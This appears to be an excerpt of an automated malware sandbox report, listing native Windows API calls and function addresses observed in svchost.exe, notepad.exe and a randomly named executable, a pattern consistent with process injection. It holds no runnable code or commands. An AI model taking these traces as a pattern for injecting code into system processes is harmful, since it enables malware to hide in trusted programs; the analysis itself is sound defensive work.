Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A74650 NtSuspendThread,	2_2_03A74650
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BA0 NtEnumerateValueKey,	2_2_03A72BA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72B80 NtQueryInformationFile,	2_2_03A72B80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BE0 NtQueryValueKey,	2_2_03A72BE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72BF0 NtAllocateVirtualMemory,	2_2_03A72BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AB0 NtWaitForSingleObject,	2_2_03A72AB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AF0 NtWriteFile,	2_2_03A72AF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72AD0 NtReadFile,	2_2_03A72AD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A739B0 NtGetContextThread,	2_2_03A739B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FA0 NtQuerySection,	2_2_03A72FA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FB0 NtResumeThread,	2_2_03A72FB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F90 NtProtectVirtualMemory,	2_2_03A72F90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72FE0 NtCreateFile,	2_2_03A72FE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F30 NtCreateSection,	2_2_03A72F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72F60 NtCreateProcessEx,	2_2_03A72F60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EA0 NtAdjustPrivilegesToken,	2_2_03A72EA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E80 NtReadVirtualMemory,	2_2_03A72E80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72EE0 NtQueueApcThread,	2_2_03A72EE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72E30 NtWriteVirtualMemory,	2_2_03A72E30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DB0 NtEnumerateKey,	2_2_03A72DB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72DD0 NtDelayExecution,	2_2_03A72DD0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D30 NtUnmapViewOfSection,	2_2_03A72D30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D00 NtSetInformationFile,	2_2_03A72D00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72D10 NtMapViewOfSection,	2_2_03A72D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D10 NtOpenProcessToken,	2_2_03A73D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A73D70 NtOpenThread,	2_2_03A73D70
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CA0 NtQueryInformationToken,	2_2_03A72CA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CF0 NtOpenProcess,	2_2_03A72CF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72CC0 NtQueryVirtualMemory,	2_2_03A72CC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C00 NtQueryInformationProcess,	2_2_03A72C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C60 NtCreateKey,	2_2_03A72C60
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A72C70 NtFreeVirtualMemory,	2_2_03A72C70
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D135C0 NtCreateMutant,LdrInitializeThunk,	5_2_04D135C0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D14650 NtSuspendThread,LdrInitializeThunk,	5_2_04D14650
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D14340 NtSetContextThread,LdrInitializeThunk,	5_2_04D14340
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12CA0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04D12CA0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04D12C70
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12C60 NtCreateKey,LdrInitializeThunk,	5_2_04D12C60
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12DD0 NtDelayExecution,LdrInitializeThunk,	5_2_04D12DD0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04D12DF0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12D10 NtMapViewOfSection,LdrInitializeThunk,	5_2_04D12D10
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12D30 NtUnmapViewOfSection,LdrInitializeThunk,	5_2_04D12D30
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12EE0 NtQueueApcThread,LdrInitializeThunk,	5_2_04D12EE0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12E80 NtReadVirtualMemory,LdrInitializeThunk,	5_2_04D12E80
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12FE0 NtCreateFile,LdrInitializeThunk,	5_2_04D12FE0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12FB0 NtResumeThread,LdrInitializeThunk,	5_2_04D12FB0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12F30 NtCreateSection,LdrInitializeThunk,	5_2_04D12F30
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D139B0 NtGetContextThread,LdrInitializeThunk,	5_2_04D139B0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12AD0 NtReadFile,LdrInitializeThunk,	5_2_04D12AD0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12AF0 NtWriteFile,LdrInitializeThunk,	5_2_04D12AF0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04D12BF0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12BE0 NtQueryValueKey,LdrInitializeThunk,	5_2_04D12BE0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12BA0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_04D12BA0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12B60 NtClose,LdrInitializeThunk,	5_2_04D12B60
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D13090 NtSetValueKey,	5_2_04D13090
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D13010 NtOpenDirectoryObject,	5_2_04D13010
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12CC0 NtQueryVirtualMemory,	5_2_04D12CC0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12CF0 NtOpenProcess,	5_2_04D12CF0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12C00 NtQueryInformationProcess,	5_2_04D12C00
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12DB0 NtEnumerateKey,	5_2_04D12DB0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D13D70 NtOpenThread,	5_2_04D13D70
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D13D10 NtOpenProcessToken,	5_2_04D13D10
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12D00 NtSetInformationFile,	5_2_04D12D00
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12EA0 NtAdjustPrivilegesToken,	5_2_04D12EA0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12E30 NtWriteVirtualMemory,	5_2_04D12E30
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12F90 NtProtectVirtualMemory,	5_2_04D12F90
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12FA0 NtQuerySection,	5_2_04D12FA0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12F60 NtCreateProcessEx,	5_2_04D12F60
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12AB0 NtWaitForSingleObject,	5_2_04D12AB0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D12B80 NtQueryInformationFile,	5_2_04D12B80
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BA9270 NtDeleteFile,	5_2_02BA9270
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BA9320 NtClose,	5_2_02BA9320
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BA9000 NtCreateFile,	5_2_02BA9000
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BA9170 NtReadFile,	5_2_02BA9170
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BA9480 NtAllocateVirtualMemory,	5_2_02BA9480

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004186E3	2_2_004186E3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402073	2_2_00402073
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004168D3	2_2_004168D3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00410173	2_2_00410173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_004031C0	2_2_004031C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040E1F3	2_2_0040E1F3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402D0A	2_2_00402D0A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402D10	2_2_00402D10
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0042ED83	2_2_0042ED83
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_00402620	2_2_00402620
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_0040FF53	2_2_0040FF53
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A8739A	2_2_03A8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4E3F0	2_2_03A4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B003E6	2_2_03B003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF132D	2_2_03AF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2D34C	2_2_03A2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFA352	2_2_03AFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A452A0	2_2_03A452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE12ED	2_2_03AE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B2C0	2_2_03A5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0274	2_2_03AE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4B1B0	2_2_03A4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B001AA	2_2_03B001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF81CC	2_2_03AF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30100	2_2_03A30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADA118	2_2_03ADA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7516C	2_2_03A7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A2F172	2_2_03A2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0B16B	2_2_03B0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AC8158	2_2_03AC8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF70E9	2_2_03AF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF0E0	2_2_03AFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEF0CC	2_2_03AEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A470C0	2_2_03A470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF7B0	2_2_03AFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3C7C0	2_2_03A3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40770	2_2_03A40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A64750	2_2_03A64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5C6E0	2_2_03A5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF16CC	2_2_03AF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADD5B0	2_2_03ADD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B00591	2_2_03B00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40535	2_2_03A40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7571	2_2_03AF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEE4F6	2_2_03AEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFF43F	2_2_03AFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A31460	2_2_03A31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF2446	2_2_03AF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FB80	2_2_03A5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB5BF0	2_2_03AB5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A7DBF9	2_2_03A7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF6BD7	2_2_03AF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFB76	2_2_03AFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFAB40	2_2_03AFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03ADDAAC	2_2_03ADDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A85AA0	2_2_03A85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3EA80	2_2_03A3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AEDAC6	2_2_03AEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB3A6C	2_2_03AB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFA49	2_2_03AFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7A46	2_2_03AF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A429A0	2_2_03A429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03B0A9A6	2_2_03B0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A56962	2_2_03A56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49950	2_2_03A49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5B950	2_2_03A5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A268B8	2_2_03A268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A438E0	2_2_03A438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A6E8F0	2_2_03A6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AAD800	2_2_03AAD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A42840	2_2_03A42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4A840	2_2_03A4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFFB1	2_2_03AFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A41F92	2_2_03A41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4CFE0	2_2_03A4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A32FC8	2_2_03A32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A82F28	2_2_03A82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A60F30	2_2_03A60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFF09	2_2_03AFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB4F40	2_2_03AB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A49EB0	2_2_03A49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A52E90	2_2_03A52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFCE93	2_2_03AFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEEDB	2_2_03AFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFEE26	2_2_03AFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40E59	2_2_03A40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A58DBF	2_2_03A58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A3ADE0	2_2_03A3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A5FDC0	2_2_03A5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A4AD00	2_2_03A4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF7D73	2_2_03AF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A43D40	2_2_03A43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AF1D5A	2_2_03AF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AE0CB5	2_2_03AE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A30CF2	2_2_03A30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AFFCF2	2_2_03AFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03AB9C32	2_2_03AB9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03A40C00	2_2_03A40C00
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055B65AD	4_2_055B65AD
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055AFC2D	4_2_055AFC2D
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055CEA5D	4_2_055CEA5D
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055AFE4D	4_2_055AFE4D
Source: C:\Program Files (x86)\zwURcxVWXxjnCAvPjnSqwiXogtCyjtbvvRcdMeojwSVfxaoukHtpyvIPtHATKZvU\HAdkDWMZRiGMZe.exe	Code function: 4_2_055ADECD	4_2_055ADECD
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D8E4F6	5_2_04D8E4F6
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D92446	5_2_04D92446
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CD1460	5_2_04CD1460
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9F43F	5_2_04D9F43F
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04DA0591	5_2_04DA0591
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D7D5B0	5_2_04D7D5B0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D97571	5_2_04D97571
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE0535	5_2_04CE0535
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D916CC	5_2_04D916CC
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CFC6E0	5_2_04CFC6E0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CDC7C0	5_2_04CDC7C0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9F7B0	5_2_04D9F7B0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D04750	5_2_04D04750
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE0770	5_2_04CE0770
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE70C0	5_2_04CE70C0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D8F0CC	5_2_04D8F0CC
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D970E9	5_2_04D970E9
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9F0E0	5_2_04D9F0E0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D981CC	5_2_04D981CC
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04DA01AA	5_2_04DA01AA
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CEB1B0	5_2_04CEB1B0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04DAB16B	5_2_04DAB16B
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D1516C	5_2_04D1516C
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CCF172	5_2_04CCF172
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CD0100	5_2_04CD0100
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D7A118	5_2_04D7A118
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CFB2C0	5_2_04CFB2C0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D812ED	5_2_04D812ED
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE52A0	5_2_04CE52A0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D80274	5_2_04D80274
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04DA03E6	5_2_04DA03E6
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CEE3F0	5_2_04CEE3F0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D2739A	5_2_04D2739A
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CCD34C	5_2_04CCD34C
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9A352	5_2_04D9A352
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9132D	5_2_04D9132D
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9FCF2	5_2_04D9FCF2
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CD0CF2	5_2_04CD0CF2
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D80CB5	5_2_04D80CB5
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE0C00	5_2_04CE0C00
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D59C32	5_2_04D59C32
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CFFDC0	5_2_04CFFDC0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CDADE0	5_2_04CDADE0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CF8DBF	5_2_04CF8DBF
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D91D5A	5_2_04D91D5A
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE3D40	5_2_04CE3D40
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D97D73	5_2_04D97D73
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CEAD00	5_2_04CEAD00
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9EEDB	5_2_04D9EEDB
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9CE93	5_2_04D9CE93
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CF2E90	5_2_04CF2E90
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE9EB0	5_2_04CE9EB0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE0E59	5_2_04CE0E59
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9EE26	5_2_04D9EE26
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CD2FC8	5_2_04CD2FC8
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CECFE0	5_2_04CECFE0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE1F92	5_2_04CE1F92
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9FFB1	5_2_04D9FFB1
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D54F40	5_2_04D54F40
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9FF09	5_2_04D9FF09
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D00F30	5_2_04D00F30
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D0E8F0	5_2_04D0E8F0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE38E0	5_2_04CE38E0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CC68B8	5_2_04CC68B8
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE2840	5_2_04CE2840
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CEA840	5_2_04CEA840
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE29A0	5_2_04CE29A0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04DAA9A6	5_2_04DAA9A6
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CE9950	5_2_04CE9950
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CFB950	5_2_04CFB950
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CF6962	5_2_04CF6962
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D8DAC6	5_2_04D8DAC6
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CDEA80	5_2_04CDEA80
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D25AA0	5_2_04D25AA0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D7DAAC	5_2_04D7DAAC
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9FA49	5_2_04D9FA49
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D97A46	5_2_04D97A46
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D53A6C	5_2_04D53A6C
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D96BD7	5_2_04D96BD7
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D1DBF9	5_2_04D1DBF9
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04CFFB80	5_2_04CFFB80
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9AB40	5_2_04D9AB40
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04D9FB76	5_2_04D9FB76
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B91C10	5_2_02B91C10
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B952B0	5_2_02B952B0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B934A0	5_2_02B934A0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B8CB20	5_2_02B8CB20
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02BAB950	5_2_02BAB950
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B8ADC0	5_2_02B8ADC0
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_02B8CD40	5_2_02B8CD40
Source: C:\Windows\SysWOW64\notepad.exe	Code function: 5_2_04B8E467	5_2_04B8E467
